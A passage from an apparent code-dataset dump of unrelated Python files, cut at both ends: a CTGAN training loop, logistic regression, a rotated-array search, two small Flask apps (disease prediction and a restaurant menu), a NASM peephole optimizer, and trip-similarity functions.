this_size = (data_dim + self.cond_generator.n_opt)*self.pack\n summary(self.discriminator, (this_size,))\n print(\"*\" * 100)\n\n steps_per_epoch = max(len(train_data) // self.batch_size, 1)\n########################Start training ####################################################\n for i in range(self.epochs):\n self.generator.train() ##switch to train mode\n self.trained_epoches += 1\n for id_ in range(steps_per_epoch):\n\n for n in range(self.discriminator_steps):\n###################### 1. Initialise fake data ###################################################\n fakez = torch.normal(mean=mean, std=std)\n\n condvec = self.cond_generator.sample(self.batch_size)\n if condvec is None:\n c1, m1, col, opt = None, None, None, None\n real = data_sampler.sample(self.batch_size, col, opt)\n else:\n c1, m1, col, opt = condvec\n c1 = torch.from_numpy(c1).to(self.device)\n m1 = torch.from_numpy(m1).to(self.device)\n#################### 2. Add the conditional vector #########################################\n fakez = torch.cat([fakez, c1], dim=1)\n\n perm = np.arange(self.batch_size)\n np.random.shuffle(perm)\n ###################### 3. Sample real data #########################################################\n real = data_sampler.sample(self.batch_size, col[perm], opt[perm]) #sampling rows and columns according to cond vector\n c2 = c1[perm] #shuffle the columns\n\n###################### 4. Create synthetic data ###############################################\n fake = self.generator(fakez)\n fakeact = self._apply_activate(fake)\n\n real = torch.from_numpy(real.astype('float32')).to(self.device)\n\n if c1 is not None: #cat is referred to as the conditional vector concatenated to the data\n fake_cat = torch.cat([fakeact, c1], dim=1)\n real_cat = torch.cat([real, c2], dim=1)\n else:\n real_cat = real\n fake_cat = fake\n##################### 5. Attribute score from critic############################################\n y_fake = self.discriminator(fake_cat)\n y_real = self.discriminator(real_cat)\n#################### 6. Calculate loss ##########################################################\n pen = self.discriminator.calc_gradient_penalty(\n real_cat, fake_cat, self.device)\n loss_d = -(torch.mean(y_real) - torch.mean(y_fake)) #Wasserstein's distance between real and fake\n#################### 7. Update critic weights and bias using Adam Optimizer ################################\n self.optimizerD.zero_grad()\n pen.backward(retain_graph=True)\n loss_d.backward()\n self.optimizerD.step() #Training for critic stops here\n\n####################8. Create new synthesised data to train the generator ##########################################\n fakez = torch.normal(mean=mean, std=std) # white noise\n condvec = self.cond_generator.sample(self.batch_size)\n\n if condvec is None:\n c1, m1, col, opt = None, None, None, None\n else:\n c1, m1, col, opt = condvec\n c1 = torch.from_numpy(c1).to(self.device)\n m1 = torch.from_numpy(m1).to(self.device)\n fakez = torch.cat([fakez, c1], dim=1)\n\n fake = self.generator(fakez) #Create fake data from white noise\n fakeact = self._apply_activate(fake)\n\n if c1 is not None:\n y_fake = self.discriminator(torch.cat([fakeact, c1], dim=1))\n else:\n y_fake = self.discriminator(fakeact)\n\n if condvec is None:\n cross_entropy = 0\n else:\n cross_entropy = self._cond_loss(fake, c1, m1)\n################## 10. Calculate generator loss ######################################################\n loss_g = -torch.mean(y_fake) + cross_entropy #torch.mean(y_real) is zero\n################## 11. Update weights and bias for generator ##########################################\n self.optimizerG.zero_grad()\n loss_g.backward()\n self.optimizerG.step()\n\n self.generator_loss.append(loss_g.detach().cpu())\n self.discriminator_loss.append(loss_d.detach().cpu())\n self.logger.write_to_file(\"Epoch \" + str(self.trained_epoches) +\n \", Loss G: \" + str(loss_g.detach().cpu().numpy()) +\n \", Loss D: \" + str(loss_d.detach().cpu().numpy()),\n toprint=True)\n\n # Use Optuna for hyper-parameter tuning (Euclidean KLD)\n if trial is not None:\n # synthetic data by the generator for each epoch\n sampled_train = self.sample(val_data.shape[0], condition_column=None, condition_value=None)\n KL_val_loss = M.KLD(val_data, sampled_train, discrete_columns)\n\n # Euclidean distance of KLD\n self.optuna_metric = np.sqrt(np.nansum(KL_val_loss ** 2))\n trial.report(self.optuna_metric, i)\n\n # Handle pruning based on the intermediate value.\n if trial.should_prune():\n raise optuna.exceptions.TrialPruned()\n\n\n def sample(self, n, condition_column=None, condition_value=None):\n \"\"\"Sample data similar to the training data.\n\n Choosing a condition_column and condition_value will increase the probability of the\n discrete condition_value happening in the condition_column.\n\n Args:\n n (int):\n Number of rows to sample.\n condition_column (string):\n Name of a discrete column.\n condition_value (string):\n Name of the category in the condition_column which we wish to increase the\n probability of happening.\n\n Returns:\n numpy.ndarray or pandas.DataFrame\n \"\"\"\n self.generator.eval() ## switch to evaluate mode\n if condition_column is not None and condition_value is not None:\n condition_info = self.transformer.covert_column_name_value_to_id(\n condition_column, condition_value)\n global_condition_vec = self.cond_generator.generate_cond_from_condition_column_info(\n condition_info, self.batch_size)\n else:\n global_condition_vec = None\n\n steps = n // self.batch_size + 1\n data = []\n for i in range(steps):\n mean = torch.zeros(self.batch_size, self.embedding_dim)\n std = mean + 1\n fakez = torch.normal(mean=mean, std=std).to(self.device)\n\n if global_condition_vec is not None:\n condvec = global_condition_vec.copy()\n else:\n condvec = self.cond_generator.sample_zero(self.batch_size)\n\n if condvec is None:\n pass\n else:\n c1 = condvec\n c1 = torch.from_numpy(c1).to(self.device)\n fakez = torch.cat([fakez, c1], dim=1)\n\n fake = self.generator(fakez)\n fakeact = self._apply_activate(fake)\n data.append(fakeact.detach().cpu().numpy())\n\n data = np.concatenate(data, axis=0)\n data = data[:n]\n return self.transformer.inverse_transform(data, None)\n########################### 12. Save the model #######################################################################################\n def save(self, path):\n assert hasattr(self, \"generator\")\n assert hasattr(self, \"discriminator\")\n assert hasattr(self, \"transformer\")\n\n # always save a cpu model.\n device_bak = self.device\n self.device = torch.device(\"cpu\")\n self.generator.to(self.device)\n self.discriminator.to(self.device)\n\n torch.save(self, path)\n\n self.device = device_bak\n self.generator.to(self.device)\n self.discriminator.to(self.device)\n\n @classmethod\n def load(cls, path):\n model = torch.load(path)\n model.device = torch.device(cfg.DEVICE) # NOTE: original implementation \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n model.generator.to(model.device)\n model.discriminator.to(model.device)\n return model\n","sub_path":"ctgan/ctgan.py","file_name":"ctgan.py","file_ext":"py","file_size_in_byte":25175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"311363435","text":"'''\nImplementation of logistic regression with stochastic gradient ascent to predict median housing price in Boston using historical price data set taken from: https://github.com/vincentarelbundock/Rdatasets/tree/master/csv/MASS\n\n@author: Donald Dalton\n'''\nimport math\nimport numpy as np\n\ndef LogReg_ReadInputs(filepath):\n '''\n Data parsing.\n '''\n XTrain = np.genfromtxt(filepath +'/LogReg_XTrain.csv', delimiter=',')\n XTrain = np.c_[np.ones(np.shape(XTrain)[0]), XTrain] #Add intercept\n yTrain = np.genfromtxt(filepath +'/LogReg_yTrain.csv', delimiter=',')\n XTest = np.genfromtxt(filepath +'/LogReg_XTest.csv', delimiter=',')\n XTest = np.c_[np.ones(np.shape(XTest)[0]), XTest] #Add intercept\n yTest = np.genfromtxt(filepath +'/LogReg_yTest.csv', delimiter=',')\n return (XTrain, yTrain, XTest, yTest)\n\ndef LogReg_CalcObj(X, y, w):\n '''\n Calculates objective function.\n '''\n out = np.zeros(np.shape(X)[0])\n for i in np.arange(len(out)):\n if y[i] == 0:\n Y = -1.0\n out[i] = -1*math.log(1 + math.exp((-1*Y*np.dot(X[i, :], w))))\n else:\n Y = 1.0\n out[i] = -1*math.log(1 + math.exp((-1*Y*np.dot(X[i, :], w))))\n error = np.sum(out)/len(out)\n return error\n\ndef LogReg_CalcSG(x, y, w):\n '''\n Gradient calculation.\n '''\n if y == 0:\n sg = np.array(-1*x*(1/(1+math.exp(-1*np.dot(x, w)))), ndmin=2).T\n else:\n sg = np.array(1*x*(1-1/(1+math.exp(-1*np.dot(x, w)))), ndmin=2).T\n return sg\n\n\ndef LogReg_UpdateParams(w, sg, eta):\n '''\n Step function.\n '''\n sgd = np.array([eta*y for y in sg])\n out = w + sgd\n return out\n\ndef LogReg_PredictLabels(X, y, w):\n '''\n Predict labels.\n '''\n yPred = []\n for i in np.arange(np.shape(X)[0]):\n value = 1/(1+math.exp(-1*np.dot(X[i,:], w)))\n if value < 0.5:\n yPred.append(0)\n else:\n yPred.append(1)\n\n perMiscl = np.sum(np.square(y - yPred))/len(yPred)*100\n return (yPred, perMiscl)\n\ndef LogReg_SGA(XTrain, yTrain, XTest, yTest):\n '''\n 5 epoch trial run.\n '''\n w = np.array(np.ones(np.shape(XTrain)[1]), ndmin=2).transpose()/2\n count = 1\n for i in np.arange(5):\n for j in np.arange(np.shape(XTrain)[0]):\n sg = LogReg_CalcSG(XTrain[j, :], yTrain[j], w)\n w = LogReg_UpdateParams(w, sg, .5/(np.sqrt(count)))\n count = count + 1\n\n yPred, _ = LogReg_PredictLabels(XTest, yTest, w)\n return (w, yPred)\n\ndef main():\n filepath = '/Users/donalddalton/Python/data/'\n XTrain, yTrain, XTest, yTest = LogReg_ReadInputs(filepath)\n w, yPred = LogReg_SGA(XTrain, yTrain, XTest, yTest)\n\nif __name__ == \"__main__\": main()\n","sub_path":"logreg_sga.py","file_name":"logreg_sga.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"50029842","text":"# -*- coding:utf-8 -*-\n\"\"\"\n把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。\n输入一个非递减排序的数组的一个旋转,输出旋转数组的最小元素。 \n例如数组{3,4,5,1,2}为{1,2,3,4,5}的一个旋转,该数组的最小值为1。\nNOTE:给出的所有元素都大于0,若数组大小为0,请返回0。\n\"\"\"\nclass Solution:\n def minNumberInRotateArray(self, rotateArray):\n # write code here\n size = len(rotateArray)\n\n if size == 0:\n return 0\n\n left = 0\n right = size - 1\n mid = 0 \n # 确保旋转\n while rotateArray[left] >= rotateArray[right]:\n if right - left == 1:\n mid = right\n break\n\n mid = (left + right) // 2\n # 防止同样大小的数值出现\n if rotateArray[left] == rotateArray[right] and rotateArray[left] == rotateArray[mid]:\n return self.min_order(rotateArray, left, right)\n\n # 旋转数组的特性\n if rotateArray[left] <= rotateArray[mid]:\n left = mid\n else:\n right = mid\n\n return rotateArray[mid]\n\n def min_order(self, array, left, right):\n result = array[left]\n for i in range(left + 1, right):\n if array[i] < result:\n result = array[i]\n\n return result\n\n\n \n","sub_path":"剑指offer/编程题/python/006_旋转数组的最小数字.py","file_name":"006_旋转数组的最小数字.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"156353351","text":"from flask import Flask,render_template, url_for ,flash , redirect\nimport joblib\nfrom flask import request\nimport numpy as np\n\nimport os\nfrom flask import send_from_directory\n\n#from this import SQLAlchemy\napp=Flask(__name__,template_folder='template')\n\n\n\n# RELATED TO THE SQL DATABASE\napp.config['SECRET_KEY'] = '5791628bb0b13ce0c676dfde280ba245'\n#app.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///site.db\"\n#db=SQLAlchemy(app)\n\n#from model import User,Post\n\n#//////////////////////////////////////////////////////////\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n# UPLOAD_FOLDER = dir_path + '/uploads'\n# STATIC_FOLDER = dir_path + '/static'\nUPLOAD_FOLDER = 'uploads'\nSTATIC_FOLDER = 'static'\n\n\n\n@app.route(\"/\")\n\n@app.route(\"/home\")\ndef home():\n return render_template(\"home.html\")\n \n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/cancer\")\ndef cancer():\n return render_template(\"cancer.html\")\n\n\n@app.route(\"/diabetes\")\ndef diabetes():\n #if form.validate_on_submit():\n return render_template(\"diabetes.html\")\n\n@app.route(\"/heart\")\ndef heart():\n return render_template(\"heart.html\")\n\n\n@app.route(\"/liver\")\ndef liver():\n #if form.validate_on_submit():\n return render_template(\"liver.html\")\n\n@app.route(\"/kidney\")\ndef kidney():\n #if form.validate_on_submit():\n return render_template(\"kidney.html\")\n\n\n\"\"\"\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n form =RegistrationForm()\n if form.validate_on_submit():\n #flash(\"Account created for {form.username.data}!\".format(\"success\"))\n flash(\"Account created\",\"success\") \n return redirect(url_for(\"home\"))\n return render_template(\"register.html\", title =\"Register\",form=form )\n@app.route(\"/login\", methods=[\"POST\",\"GET\"])\ndef login():\n form =LoginForm()\n if form.validate_on_submit():\n #if form.email.data ==\"sho\" and form.password.data==\"password\":\n flash(\"You Have Logged in !\",\"success\")\n return redirect(url_for(\"home\"))\n #else:\n # flash(\"Login Unsuccessful. Please check username and password\",\"danger\")\n return render_template(\"login.html\", title =\"Login\",form=form )\ndef ValuePredictor1(to_predict_list):\n to_predict = np.array(to_predict_list).reshape(1,30)\n loaded_model = joblib.load(\"model\")\n result = loaded_model.predict(to_predict)\n return result[0]\n \n@app.route('/result1',methods = [\"GET\",\"POST\"])\ndef result():\n if request.method == 'POST':\n to_predict_list = request.form.to_dict()\n to_predict_list=list(to_predict_list.values())\n to_predict_list = list(map(float, to_predict_list))\n result = ValuePredictor(to_predict_list)\n if int(result)==1:\n prediction='cancer'\n else:\n prediction='Healthy' \n return(render_template(\"result.html\", prediction=prediction))\"\"\"\n\n\n\ndef ValuePredictor(to_predict_list, size):\n to_predict = np.array(to_predict_list).reshape(1,size)\n if(size==8):#Diabetes\n loaded_model = joblib.load(\"model1\")\n result = loaded_model.predict(to_predict)\n elif(size==30):#Cancer\n loaded_model = joblib.load(\"model\")\n result = loaded_model.predict(to_predict)\n elif(size==12):#Kidney\n loaded_model = joblib.load(\"model3\")\n result = loaded_model.predict(to_predict)\n elif(size==10):\n loaded_model = joblib.load(\"model4\")\n result = loaded_model.predict(to_predict)\n elif(size==11):#Heart\n loaded_model = joblib.load(\"model2\")\n result =loaded_model.predict(to_predict)\n return result[0]\n\n@app.route('/result',methods = [\"POST\"])\ndef result():\n if request.method == 'POST':\n to_predict_list = request.form.to_dict()\n to_predict_list=list(to_predict_list.values())\n to_predict_list = list(map(float, to_predict_list))\n if(len(to_predict_list)==30):#Cancer\n result = ValuePredictor(to_predict_list,30)\n elif(len(to_predict_list)==8):#Daiabtes\n result = ValuePredictor(to_predict_list,8)\n elif(len(to_predict_list)==12):\n result = ValuePredictor(to_predict_list,12)\n elif(len(to_predict_list)==11):\n result = ValuePredictor(to_predict_list,11)\n #if int(result)==1:\n # prediction ='diabetes'\n #else:\n # prediction='Healthy' \n elif(len(to_predict_list)==10):\n result = ValuePredictor(to_predict_list,10)\n if(int(result)==1):\n prediction='Sorry ! You have a risk,Please consult with your doctor.'\n else:\n prediction='Congratulations ! you are Healthy' \n return(render_template(\"result.html\", prediction=prediction))\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n \n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"257321778","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 18 19:46:40 2018\n\n@author: Alex Benedict\n\"\"\"\nimport argparse\nimport sys\nimport re\n\nclass Program:\n def __init__(self):\n self.sections = []\n self.globals = []\n self.extern = []\n self.lines = []\n self.bits = 0\n\nclass AsmLine:\n def __init__(self):\n self.literal = \"\"\n self.labels = []\n self.instruction = []\n self.arguments = []\n self.comment = []\n self.length = 0\n def __str__(self):\n string = \"\"\n if line.labels != []:\n for label in line.labels:\n string = string + label + \": \"\n if line.instruction != []:\n string = string + line.instruction + \" \"\n if line.arguments != []:\n for argument in line.arguments:\n string = string + argument + \" \"\n return string\n\n\n\n\ndef advance_til_newline(listing, i):\n while listing[i] != '\\n':\n i = i + 1\n return i\n\ndef skip_whitespace(listing, i):\n while listing[i].isspace():\n i = i + 1\n return i\n\ndef find_comment(line):\n start = 0\n while start != ';' and start < line.length:\n start = start + 1\n if start == line.length:\n end = line.length\n else: # found a comment.\n line.comment = line.literal[start:]\n end = start\n return line, end\n\n#Valid characters in labels are letters, numbers, _, $, #, @, ~, ., and ?.\n#The only characters which may be used as the first character of an identifier\n# are letters, . , _ and ?.\n#An identifier may also be prefixed with a $ to indicate that it is intended to\n# be read as an identifier and not a reserved word; thus, if some other module\n#you are linking with defines a symbol called eax, you can refer to $eax in\n#NASM code to distinguish the symbol from the register.\n#Maximum length of an identifier is 4095 characters.\n\nRESERVED = 'RESERVED'\nINT = 'INT'\nID = 'ID'\nSTR = 'STR'\nCOLON = ':'\nCOMMA = ','\nDOLLARSIGN = '$'\nMINUS = '-'\nLEFT_BRACKET = '['\nRIGHT_BRACKET =']'\nSYSCALL = 'SYSCALL'\ntoken_types = [(r'[ \\n\\t]+', None),\n (r'-?0[xX][0-9a-fA-F]+', INT),\n (r'-?[0-9]+', INT),\n (r'syscall', SYSCALL),\n (r'[A-Za-z\\._\\?][A-Za-z0-9_$#@\\~\\.\\?]*', ID),\n (r'\\\"(\\\\.|[^\"\\\\])*\\\"', STR),\n (r',', COMMA),\n (r':', COLON),\n (r'\\$', DOLLARSIGN),\n (r'-', MINUS),\n (r';[^\\n]*', None),\n (r'\\[', LEFT_BRACKET),\n (r']', RIGHT_BRACKET)\n ]\n\n\ndef lex(characters, token_types):\n pos = 0\n tokens = []\n while pos < len(characters):\n match = None\n for token_expr in token_types:\n pattern, tag = token_expr\n regex = re.compile(pattern)\n match = regex.match(characters, pos)\n if match:\n text = match.group(0)\n if tag:\n token = (text, tag)\n tokens.append(token)\n break\n pos = match.end(0)\n return tokens\n\ndef nasm_lex(characters):\n return lex(characters, token_types)\n\ndef parse_main(line, string):\n tokens = nasm_lex(string)\n length = len(tokens)\n i = 0\n while i < length:\n token = tokens[i]\n \n if i == length-1:\n next_token = None\n else:\n next_token = tokens[i+1]\n if token[1] == ID and next_token[1] == COLON:\n line.labels.append(token[0])\n i = i + 1\n elif token[1] == ID:\n line.instruction = token[0]\n if next_token != None:\n leftover_tokens = tokens[i+1:]\n for t in leftover_tokens:\n line.arguments.append(t[0])\n return line\n elif token[1] == SYSCALL:\n line.instruction = token[0]\n return line\n i = i + 1\n return line\n\ndef parse_line(line):\n #scan forward to see if there is a comment\n line, end = find_comment(line)\n string = line.literal[0:end].strip()\n if string == \"\":\n return line\n return parse_main(line, string)\n\ndef get_lines(program):\n p = Program()\n for line in program.lines:\n if line is None:\n break\n try:\n line = line.strip()\n if line == \"\":\n pass\n else:\n length = len(line)\n L = AsmLine()\n L.literal = line\n L.length = length\n L = parse_line(L)\n p.lines.append(L)\n except:\n pass\n return p\n\ndef do_optimization(opt):\n length = len(opt.lines)\n i = 0\n mark_delete = []\n while i < length:\n line = opt.lines[i]\n if i == length-1:\n next_line = None\n break\n else:\n next_line = opt.lines[i+1]\n if (line.instruction == 'push' and next_line.instruction == 'pop' )or (line.instruction == 'pop' and next_line.instruction == 'push' ) :\n if line.arguments[0] == next_line.arguments[0]:\n mark_delete.append(i)\n mark_delete.append(i+1)\n i = i + 1\n if mark_delete != []:\n delete_len = len(mark_delete)\n i = delete_len-1\n while i>=0:\n del opt.lines[mark_delete[i]]\n i = i-1\n return do_optimization(opt)\n return opt\n\ndef optimize_assembly(program):\n opt = get_lines(program)\n\n return do_optimization(opt)\n\n\n\n\n\n\ntest_program = \"\"\"\n\n\nbits 64\nsection .data\n msg db \"hello,world!\",0x0a\n msg_len equ $-msg\nsection .text\n global _start\n_start:\n mov r15, rsp\n mov r10, rsp\n mov rdi, -1\n ; '0' =48 '9' = 57\n ;pass integer in rdi, rcx holds int_min and negative flags.\n sub rsp, 22\n push rax\n push rbp\n push rcx\n mov rax, 0\n mov rbp, rsp\n mov rcx, 22\n mem_set:\n mov byte [rbp], al\n inc rbp\n loop mem_set\n pop rcx\n pop rbp\n pop rax\n xor rcx, rcx\n mov byte [r15], 10 ;insert newline at end.\n dec r15\n\n mov r12, 10\n cmp rdi,0\n je deal_with_zero\n jg deal_with_positive\n push rax\n mov rax, -9223372036854775808\n cmp rdi, rax\n pop rax\n je deal_with_int_min\n\ndeal_with_negative:\n mov cl, 1\n neg rdi\n\ndeal_with_positive:\n mov rax, rdi\ndiv_loop:\n xor rdx, rdx\n div r12\n add rdx, 48\n mov byte [r15], dl\n dec r15\n cmp rax, 0\n jg div_loop\n cmp cl, 0\n jle length_plus_print\n dec r15\n mov byte [r15], 45\n jmp length_plus_print\n\ndeal_with_int_min:\n inc rdi\n mov ch, 1\n jmp deal_with_negative\n\ndeal_with_zero:\n\n mov byte [r15], 48\n jmp length_plus_print\n\npatch_up_int_min:\n dec r10\n inc byte [r10]\n inc r10\n xor rcx, rcx\n\nlength_plus_print:\n cmp ch, 0\n jg patch_up_int_min\n sub r10, r15\n inc r10\n push rcx\n push r11\n mov rax, 1\n mov rdi, 1\n mov rsi, r15\n mov rdx, r10\n syscall\n pop r11\n pop rcx\n\nend:\n push rcx\n push r11\n mov rax, 1\n mov rdi, 1\n mov rsi, msg\n mov rdx, msg_len\n syscall\n pop r11\n pop rcx\n push rcx\n push r11\n mov rax, 60\n mov rdi, 0\n syscall\n pop r11\n pop rcx\n\"\"\"\n\"\"\"\nP = Program()\nlines = test_program.splitlines()\nfor line in lines:\n P.lines.append(line)\nopt = optimize_assembly(P)\n\nfor line in opt.lines:\n if line is not None:\n print(line)\n\"\"\"\n\n\"\"\"\nMain section.\n\"\"\"\n\nparser = argparse.ArgumentParser(description='Optimize NASM style x86_64 assembly')\nparser.add_argument('file', metavar='file', nargs='*', help='The file to optimize.')\n\nargs = parser.parse_args()\n\nfor file_t in args.file:\n with open(file_t) as f:\n P = Program()\n lines = f.read()\n P.lines = lines.splitlines()\n for line in lines:\n P.lines.append(line)\n opt = optimize_assembly(P)\n\nfor line in opt.lines:\n if line is not None:\n print(line)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"peephole_optimizer.py","file_name":"peephole_optimizer.py","file_ext":"py","file_size_in_byte":8206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"88989136","text":"from flask import Flask, render_template, url_for, request, redirect, flash, jsonify\nfrom controller import *\n\napp = Flask(__name__)\n\n@app.route('/')\n@app.route('/restaurant/')\ndef showRestaurants():\n\t'''\n\tShows all restaurants\n\t'''\n\trestaurants = get_restaurants()\n\treturn render_template('restaurants.html',restaurants=restaurants)\n\n@app.route('/restaurant/new/',methods=['GET','POST'])\ndef newRestaurant():\n\t'''\n\tCreates a new restaurant\n\t'''\n\tif request.method == 'POST':\n\t\tadd_restaurant(request.form['name'])\n\t\tflash(\"New Restaurant created!\")\n\t\treturn redirect(url_for('showRestaurants'))\n\t\t\n\telse:\n\t\treturn render_template('newrestaurant.html')\n\n@app.route('/restaurant//edit/', methods=['GET','POST'])\ndef editRestaurant(restaurant_id):\n\t'''\n\tEdits the selected restaurant\n\t'''\n\tif request.method == 'POST':\n\t\tupdate_restaurant(restaurant_id,request.form['name'])\n\t\tflash(\"Restaurant edited!\")\n\t\treturn redirect(url_for('showRestaurants'))\n\t\n\telse:\n\t\treturn render_template('editrestaurant.html', restaurant=get_restaurant(restaurant_id))\n\t\n@app.route('/restaurant//delete/', methods=['GET','POST'])\ndef deleteRestaurant(restaurant_id):\n\t'''\n\tRemoves a restaurant\n\t'''\n\tif request.method == 'POST':\n\t\tdelete_restaurant(restaurant_id)\n\t\tflash(\"Restaurant deleted!\")\n\t\treturn redirect(url_for('showRestaurants'))\n\t\n\telse:\n\t\treturn render_template('deleterestaurant.html', restaurant=get_restaurant(restaurant_id))\n\t\n@app.route('/restaurant//')\n@app.route('/restaurant//menu/')\ndef showMenu(restaurant_id):\n\t'''\n\tShows the menu of the selected restaurant\n\t'''\n\tmenuitems = get_menuitems_for_restaurant(restaurant_id)\n\treturn render_template('menu.html', restaurant=get_restaurant(restaurant_id),menuitems=menuitems)\n\t\n@app.route('/restaurant//menu/new/', methods=['GET','POST'])\ndef newMenuItem(restaurant_id):\n\t'''\n\tAdd a new menu item to restaurant menu\n\t'''\n\tif request.method == 'POST':\n\t\tname = request.form['name']\n\t\tdescription = request.form['description']\n\t\tcourse = request.form['course']\n\t\tprice = request.form['price']\n\t\tadd_menuitem(name,course,description,price,restaurant_id)\n\t\tflash(\"New Menu Item added!\")\n\t\treturn redirect(url_for('showMenu',restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template('newmenuitem.html', restaurant=get_restaurant(restaurant_id))\n\n@app.route('/restaurant//menu//edit/',methods=['GET','POST'])\ndef editMenuItem(restaurant_id,menuitem_id):\n\t'''\n\tEdits the selected menu item\n\t'''\n\tif request.method == 'POST':\n\t\tupdate_menuitem(id=menuitem_id,name=request.form['name'],course=request.form['course'],description=request.form['description'],price=request.form['price'])\n\t\tflash(\"Menu Item edited!\")\n\t\treturn redirect(url_for('showMenu',restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template('editmenuitem.html', restaurant=get_restaurant(restaurant_id), menuitem=get_menuitem(menuitem_id))\n\n@app.route('/restaurant//menu//delete/', methods=['GET','POST'])\ndef deleteMenuItem(restaurant_id,menuitem_id):\n\t'''\n\tRemoves the selected menu item\n\t'''\n\tif request.method == 'POST':\n\t\tdelete_menuitem(menuitem_id)\n\t\tflash(\"Menu Item deleted!\")\n\t\treturn redirect(url_for('showMenu',restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template('deletemenuitem.html', restaurant=get_restaurant(restaurant_id), menuitem=get_menuitem(menuitem_id))\n\n#API\n@app.route('/restaurant//menu/JSON')\ndef restaurantMenuJSON(restaurant_id):\n\trestaurant = get_restaurant(restaurant_id)\n\titems = get_menuitems_for_restaurant(restaurant_id)\n\treturn jsonify(MenuItems=[i.serialize for i in items])\n\t\n@app.route('/restaurant//menu//JSON')\ndef menuItemJSON(restaurant_id, menu_id):\n\titem = get_menuitem(menu_id)\n\treturn jsonify(MenuItem=item.serialize)\n\n@app.route('/restaurant/JSON')\ndef restaurantsJSON():\n\trestaurants = get_restaurants()\n\treturn jsonify(Restaurant=[i.serialize for i in restaurants])\n\n#Mockup items\n#Fake Restaurants\nrestaurant = {'name': 'The CRUDdy Crab', 'id': '1'}\nrestaurants = [{'name': 'The CRUDdy Crab', 'id': '1'}, {'name':'Blue Burgers', 'id':'2'},{'name':'Taco Hut', 'id':'3'}]\n\n#Fake Menu Items\nitems = [ {'name':'Cheese Pizza', 'description':'made with fresh cheese', 'price':'$5.99','course' :'Entree', 'id':'1'}, {'name':'Chocolate Cake','description':'made with Dutch Chocolate', 'price':'$3.99', 'course':'Dessert','id':'2'},{'name':'Caesar Salad', 'description':'with fresh organic vegetables','price':'$5.99', 'course':'Entree','id':'3'},{'name':'Iced Tea', 'description':'with lemon','price':'$.99', 'course':'Beverage','id':'4'},{'name':'Spinach Dip', 'description':'creamy dip with fresh spinach','price':'$1.99', 'course':'Appetizer','id':'5'} ]\nitem = {'name':'Cheese Pizza','description':'made with fresh cheese','price':'$5.99','course' :'Entree'}\t\n\n\t\nif __name__ == '__main__':\n\tapp.secret_key = 'super_secret_key'\n\tapp.debug = True\n\tapp.run(host = '0.0.0.0', port = 9000)","sub_path":"vagrant/restaurantmenue/finalproject.py","file_name":"finalproject.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"184693565","text":"# -*- coding: utf-8 -*-\n# Interpreter 133.133.30.99 python 2.7.5\n\n# 根据两点的经纬度计算距离\nfrom math import *\nimport datetime\nimport numpy as np\n\n\ndef point_distance(lat1, lng1, lat2, lng2):\n lat1 = float(lat1)\n lng1 = float(lng1)\n lat2 = float(lat2)\n lng2 = float(lng2)\n radlat1 = radians(lat1)\n radlat2 = radians(lat2)\n a = radlat1-radlat2\n b = radians(lng1)-radians(lng2)\n s = 2*asin(sqrt(pow(sin(a/2), 2)+cos(radlat1)*cos(radlat2) * pow(sin(b/2), 2)))\n earth_radius = 6378.1371\n s = s*earth_radius\n if s < 0:\n return -s\n else:\n return s\n\n\ndef similarity_ODT(dis_O, dis_D, interval, alpha=1, pi_t=0.25, p_t=18, beta=1, lamda=0.5, pi_so=2, p_so=2, delta=0.5, pi_sd=2, p_sd=2):\n \"\"\"\n 相似度,起点距离,终点距离,起点时间之差\n :parameter :dis_O float\n :parameter :dis_D float\n :parameter :interval float\n :return:\n \"\"\"\n # logit_O\n logit_O = logit(dis_O, pi_so, p_so)\n\n # logit_D\n logit_D = logit(dis_D, pi_sd, p_sd)\n\n # logit_T\n # logit_T = logit(interval, pi_t, p_t)\n logit_T = rbf(interval, p_t)\n\n return alpha * logit_T + beta * (lamda * logit_O + delta * logit_D)\n\n\ndef similarity_ODT_preprocessing(odt1, odt2):\n \"\"\"\n 相似度,计算起点距离,终点距离,起点时间之差保存为graph格式\n :return:\n \"\"\"\n odt_i = odt1.split(\"\\t\")\n odt_j = odt2.split(\"\\t\")\n\n # logit_O\n dis_O = point_distance(odt_i[4], odt_i[5], odt_j[4], odt_j[5])\n\n # logit_D\n dis_D = point_distance(odt_i[8], odt_i[9], odt_j[8], odt_j[9])\n\n # logit_T\n t_i = odt_i[6]\n t_j = odt_j[6]\n time1 = datetime.datetime(int(t_i[0:4]), int(t_i[4:6]), int(t_i[6:8]),\n int(t_i[8:10]), int(t_i[10:12]),\n int(t_i[12:14]))\n time2 = datetime.datetime(int(t_j[0:4]), int(t_j[4:6]), int(t_j[6:8]),\n int(t_j[8:10]), int(t_j[10:12]), int(t_j[12:14]))\n if time1 > time2:\n interval = (time1 - time2).seconds / 60\n else:\n interval = (time2 - time1).seconds / 60\n\n return interval, dis_O, dis_D\n\n\ndef TS_ODT(interval, pi_t=0.25, p_t=18):\n \"\"\"\n 时间相似度\n :parameter :dis_O float\n :parameter :dis_D float\n :parameter :interval float\n :return:\n \"\"\"\n # logit_T\n # logit_T = logit(interval, pi_t, p_t)\n logit_T = 